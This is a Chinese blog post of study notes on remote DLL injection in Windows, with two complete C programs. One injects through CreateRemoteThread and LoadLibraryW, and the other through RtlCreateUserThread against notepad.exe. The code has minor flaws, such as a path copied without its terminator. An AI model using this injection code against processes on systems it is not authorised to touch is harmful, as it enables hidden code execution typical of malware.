远程DLL注入研究
太久没更新,都忘了写了。最近研究了一下远程DLL注入
做个笔记
CreateRemoteThread远程线程调用
原理:
* 读取目标要注入dll的进程句柄
* 计算存储DLL路径所需要的字节数
* 为远程进程分配一个内存以存储DLL路径名称
* 复制DLL路径到远程进程
* 获取LoadLibraryW在Kernel32.dll中的地址
* 创建远程调用LoadLibraryW(在远程地址空间中)加载DLL
* 等待远程线程结束(卸载DLL)
#include "stdafx.h"
#include <Windows.h>
int main(int argc,char *argv[])
{
DWORD dwDesiredAccess= PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE;
BOOL bInheritHandle=0;
DWORD dwProcessId;
PCWSTR dllPath = TEXT("C:\\testdll.dll"); //设置DLLL路径
int dlllen = lstrlen(dllPath);
int dllbytes = dlllen * 2; //计算dll路径长度
if (argc == 2) {
dwProcessId = atoi(argv[1]);
}
else {
printf("Example:test.exe <process_id>\n");
exit(1);
}
HANDLE process=OpenProcess(dwDesiredAccess,bInheritHandle,dwProcessId); //读取进程获取句柄
if (process==0){
printf("[-] OpenProcess failure,Error code:%d\n",GetLastError());
exit(1);
}
else {
printf("[*] OpenProcess Sucess\n");
}
LPVOID vallex = VirtualAllocEx(process, 0, dllbytes, MEM_COMMIT, PAGE_READWRITE); //给远程地址分配一个可以放下dll路径的内存空间
if (vallex == 0) {
printf("[-] VirtualAllocEx failure,Error Code:%d\n",GetLastError());
exit(1);
}
else {
printf("[*] VirtualAllocEx Sucess\n");
}
if (!WriteProcessMemory(process, vallex, dllPath, dllbytes, 0)) { //远程内存写入
printf("[-] WriteProcessMemory failure,Error Code:%d\n", GetLastError());
exit(1);
}
else {
printf("[*] WriteProcessMemory Sucess\n");
}
FARPROC moduleaddress = GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW"); //获取Kernel32.dll里面LoadLibraryW函数地址
if (moduleaddress == 0) {
printf("[-] GetProcAddress failure,Error Code:%d\n", GetLastError());
exit(1);
}
else {
printf("[*] GetProcAddress Sucess\n");
}
HANDLE createthread_ = CreateRemoteThread(process, 0, 0, LPTHREAD_START_ROUTINE(moduleaddress), vallex, 0, 0); //在远程进程调用dll
if (createthread_ == 0) {
printf("[-] createthread failure,Error Code:%d\n", GetLastError());
exit(1);
}
else {
printf("[*] CreateRemoteThread Sucess\n");
WaitForSingleObject(createthread_, INFINITE); //等待线程创建结束(卸载DLL)
}
return 0;
}
注入测试
RtlCreateUserThread DLL远程注入
RtlCreateUserThread是CreateRemoteThread的底层实现,所以使用RtlCreateUserThread的原理是和使用CreateRemoteThread的原理是一样的,这个函数可以实现跨会话创建线程。唯一的问题就是:当我们在Vista 之前的操作系统调用此函数所创建的线程并没有通知给csrss 进程,它没有完整的初始化,在调用一些网络或者其它的系统函数的时候他可能返回失败,而通过CreateRemoteThread 创建的线程没有任何问题,在Vista+的操作系统上调用此函数也没有问题。因此我们需要判断系统版本,当目标系统为Vista-的时候,我们应该通过RtlCreateUserThread创建一个挂起的线程,然后调用CsrClientCallServer通知csrss 这个线程的创建,然后csrss 做相应的记录及初始化工作之后,我们再恢复线程的执行。最后,我们新创建的线程必须自己调用ExitThread退出,否则也会产生崩溃的情况。
原理:
* 读取目标要注入dll的进程句柄
* 计算存储DLL路径所需要的字节数
* 为远程进程分配一个内存以存储DLL路径名称
* 复制DLL路径到远程进程
* 获取LoadLibraryW在Kernel32.dll中的地址
* 创建远程调用LoadLibraryW(在远程地址空间中)加载DLL
* 在卸载的时候会此DLL
#include "stdafx.h"
#include <Windows.h>
#include <tlhelp32.h>
typedef DWORD(WINAPI * pRtlCreateUserThread)(
HANDLE ProcessHandle,
PSECURITY_DESCRIPTOR SecurityDescriptor,
BOOL CreateSuspended,
ULONG StackZeroBits,
PULONG StackReserved,
PULONG StackCommit,
LPVOID StartAddress,
LPVOID StartParameter,
HANDLE ThreadHandle,
LPVOID ClientID
);
DWORD findbyname(WCHAR *name) {
HANDLE p;
PROCESSENTRY32W p2;
p = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
p2.dwSize = sizeof(PROCESSENTRY32);
printf("Proces Listlen:%d\n", p2.dwSize);
BOOL besult = Process32FirstW(p, &p2);
int calc = 0;
while (besult!=FALSE) {
int pid = p2.th32ProcessID;
WCHAR *processname = p2.szExeFile;
if (wcscmp(processname, name) == 0) {
printf("%d ", pid);
wprintf(processname);
printf("\n");
return pid;
}
besult=Process32NextW(p,&p2);
calc++;
}
return 0;
}
void Errorcode() {
printf(",Error Code:%d\n", GetLastError());
exit(1);
}
DWORD dllinject(LPCSTR dll,int pid) {
HANDLE h;
h = OpenProcess(PROCESS_ALL_ACCESS, 0, pid);
if (h == 0) {
printf("[-] OpenProcess failure");
Errorcode();
}
printf("[*] OpenProcess Sucess\n");
LPVOID moduleaddress = (LPVOID)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")),"LoadLibraryA");
if (moduleaddress == 0) {
printf("[-] GetProcAddress LoadLibraryW failure");
Errorcode();
}
printf("[*] GetProcAddress LoadLibraryW Address Sucess,Address=0x%x\n", moduleaddress);
pRtlCreateUserThread RtlCreateUserThread = NULL;
RtlCreateUserThread = (pRtlCreateUserThread)GetProcAddress(GetModuleHandle(TEXT("ntdll.dll")), "RtlCreateUserThread");
if (RtlCreateUserThread == 0) {
printf("[-] GetProcAddress RtlCreateUserThread failure");
Errorcode();
}
printf("[*] GetProcAddress RtlCreateUserThread Address Sucess,Address=0x%x\n", RtlCreateUserThread);
//DWORD dwSize = (strlen(dll) + 1) * sizeof(char);
SIZE_T dwSize = strlen(dll);
LPVOID vt = VirtualAllocEx(h,0, dwSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (vt == 0) {
printf("[-] VirtualAllocEx failure");
Errorcode();
}
printf("[*] VirtualAllocEx Sucess,Address=0x%x\n", vt);
BOOL dlladdress = WriteProcessMemory(h, vt, dll, dwSize, 0);
if (dlladdress == 0) {
printf("[-] WriteProcessMemory failure");
Errorcode();
}
printf("[*] WriteProcessMemory Sucess\n");
HANDLE hRemoteThread = NULL;
RtlCreateUserThread(h, NULL, 0, 0, 0, 0, moduleaddress, vt,&hRemoteThread, NULL);
printf("%d\n", GetLastError());
if (hRemoteThread ==0) {
printf("[-] RtlCreateUserThread failure");
Errorcode();
return 1;
}
printf("[*] RtlCreateUserThread Sucess\n");
printf("[+] Dll Inject Sucess\n");
return 0;
}
int main()
{
WCHAR *processname = TEXT("notepad.exe");
LPCSTR dllpath = "C:\\Users\\JiuShi\\Desktop\\ABC.dll";
printf("DLL PATH:");
printf("\n");
int pid=findbyname(processname);
dllinject(dllpath, pid);
system("pause");
return 0;
}
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
文章标题:远程DLL注入研究
本文作者:九世
发布时间:2020-09-14, 01:22:11
最后更新:2020-09-14, 01:28:55
原始链接:http://jiushill.github.io/posts/7c405794.html版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。